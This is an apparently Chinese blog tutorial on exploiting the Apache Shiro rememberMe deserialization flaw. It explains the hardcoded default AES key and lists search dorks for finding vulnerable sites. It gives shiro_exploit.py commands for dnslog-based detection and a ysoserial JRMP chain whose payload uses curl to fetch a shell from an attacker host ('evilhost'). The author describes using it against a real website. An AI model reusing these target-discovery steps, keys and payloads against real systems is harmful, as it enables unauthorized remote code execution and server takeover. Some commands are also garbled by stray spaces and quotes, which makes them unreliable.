这玩意儿咋说呢!话说在朝阳初升,春日暖阳缓缓升起的时候,在日常流量分析中发现了一个异常流量,经过与度娘私磨半晌才弄明白原来这个包是属于Apache Shiro框架,但历尽千辛万苦,使用已知网络上所有现有的工具都能检测到某网站存在该漏洞,可就是利用漏洞getshell的时候不成功,好苦恼!
大家可自行百度、谷歌我想肯定比我说的明白清楚。
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。吐槽:话说该漏洞已经曝光几年,实战中仍然比较实用。花了点时间研究了下,并根据网络上的利用脚本进行检测攻击,企图不明。
在Apache Shiro框架中登陆页面存在"RememberMe"记住账号功能,在使用账号密码登陆成功后会生成经过加密并编码的cookie。cookie的key为Remember,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
简单的来说在服务端接收cookie值时,会有:
//啥是硬编码呢?百度示例如下
//任何可访问该代码的人都能访问加密密钥。一旦应用程序发布,除非对程序进行修补,否则将无法更改加密密钥。雇员可以利用手中掌握的信息访问权限入侵系统。更糟糕的是,如果攻击者可以访问应用程序的可执行文件,就可以提取加密密钥值。
private static final String encryptionKey = "lakdsljkalkjlksdfkl"; byte[] keyBytes = encryptionKey.getBytes(); SecretKeySpec key = new SecretKeySpec(keyBytes, "AES"); Cipher encryptCipher = Cipher.getInstance("AES"); encryptCipher.init(Cipher.ENCRYPT_MODE, key);
4.反序列化(并且存在一个预设秘Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”);)。
由于使用来aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为"kPH+bIxk5D2deZiIxcaaaA=="。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
如何让获取密钥:官方目前已经更新了许多版本,但并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以大佬分享的github上已知密钥,站在巨人的肩膀上起飞就行了,稳得一匹。
重点来了
a.目标发现
使用Wireshark、Fiddler、Burp Suite发现。本次实战中本人使用Burp Suite抓包工具中Shrio框架的特征是登录页面的cookie中存在remeberMe=deleteMe(失败时返回的值)的内容。通过该特征发现Shiro的系统有几种方式:
使用空间搜索引擎fofa.so shodan zoomeye来发现目标。
//这里列出搜索关键词或者文件路径:
//github搜索关键词:
securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode
//配置文件路径或者名
WEB-INF/shiro.ini
ShiroConfig.java
//google搜索
cookieRememberMeManager.setCipherKey
b.漏洞检测
漏洞检测会有很多的问题,在实战前建议大家可以自己搭建环境模拟一下,这样能少走不少的坑。
前提:需要python环境+jdk1.8以上
使用工具检测KEY
通过ceye.io平台,当然使用dnslog、burp等各位趁手的兵器即可,使用检测
利用ysererial工具中的URLDNS这个Gadget,并结合dnslog平台实现入侵检测。突破利用则可以选择Gadget和参数,增强功能。
详情请点击:https://github.com/insightglacier/Shiro_exploit
python2 shiro_exploit.py -u http://xx.xx.xx.xx/ -t 3 -p "ping -c 2 {xxxx.ceye.io}" -k "kPH + bIxk5D2deZiIxcaaaA =="
在执行时会获取ceye.io的域名替换
{
xxxx.ceye.io}
这个值。也可以直接使用python2 shiro_exploit.py -u http://xx.xx.xx.xx/ -t 3
执行结果(实战过程中目标存在防火墙把ceye测试给拉黑了,所以用的dnslog,效果一样,存在解析就表示目的达成了):
因为目标系统存在防火墙,防护措施比较强,所以找了很多的
引用:
根据大牛的话,利用可以采用JRMP的方式。也可以根据检测出来的gadge来进行利用。
服务器:
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5'curl evilhost / shell –o shell'
本地:
python shiro_exploit.py -u http:// target / -t 2 -g JRMPClient -p“ remote_host:1099” -k“ kPH + bIxk5D2deZiIxcaaaA ==”
工具使用过程产生的问题(这是确实淌过的坑,要不是遇到高人就放弃了):
1.python使用问题:
运行时出现没有名为“ Crypto”的模块
运行如下命令:
pip uninstall crypto pycryptodome
pip install pycryptodome
python安装目录下的\ Lib \ site-packages,将加密文件夹的名字改成Crypto。
https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/#检测与利用
文中使用的工具请自行上github按要求检索,也可自行编写